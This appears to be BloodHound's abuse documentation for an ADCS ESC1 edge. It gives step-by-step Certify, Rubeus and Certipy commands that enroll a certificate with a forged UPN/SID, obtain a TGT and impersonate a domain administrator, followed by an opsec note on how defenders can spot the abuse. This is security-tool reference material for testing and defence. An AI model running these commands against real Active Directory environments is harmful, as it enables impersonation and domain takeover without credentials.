Applies to BloodHound Enterprise and CE This enterprise CA is trusted for NT authentication in the forest, along with the certificate chain up to the root CA certificate. This setup lets the principal enroll certificates for any AD forest user or computer, enabling authentication and impersonation of any AD forest user or computer without their credentials.

Abuse Info

Windows

Step 1: Use Certify (2.0) to request enrollment in the affected template, specifying the affected certification authority and target principal to impersonate:
Certify.exe request --ca rootdomaindc.forestroot.com\forestroot-RootDomainDC-CA --template ESC1 --upn ForestRootDA --sid S-1-5-21-2697957641-2271029196-387917394-500
The issued certificate (PFX) is printed to the console in base64 form. Copy the full base64 blob (including BEGIN/END lines) for the next step. Step 2: With Rubeus, use the base64-encoded certificate to authenticate to the domain and request a TGT, specifying the identity you intend to impersonate:
Rubeus asktgt /user:ForestRootDA /domain:forestroot.com /certificate:<cert base64> /ptt
Step 3 (optional): Verify the TGT by listing it with klist:
klist

Linux

 Step 1: Use Certipy to request enrollment in the affected template, specifying the target enterprise CA and target principal to impersonate:
 certipy req -u john@corp.local -p Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC1 -upn administrator@corp.local
Step 2: Request a ticket granting ticket (TGT) from the domain, specifying the certificate created in Step 1 and the IP of a domain controller:
certipy auth -pfx administrator.pfx -dc-ip 172.16.12

Opsec Considerations

When the affected certificate authority issues the certificate to the attacker, it will retain a local copy of that certificate in its issued certificates store. Defenders may analyze those issued certificates to identify illegitimately issued certificates and identify the principal that requested the certificate, as well as the target identity the attacker is attempting to impersonate.

References

This edge is related to the following MITRE ATT&CK tactic and techniques:

Abuse and Opsec references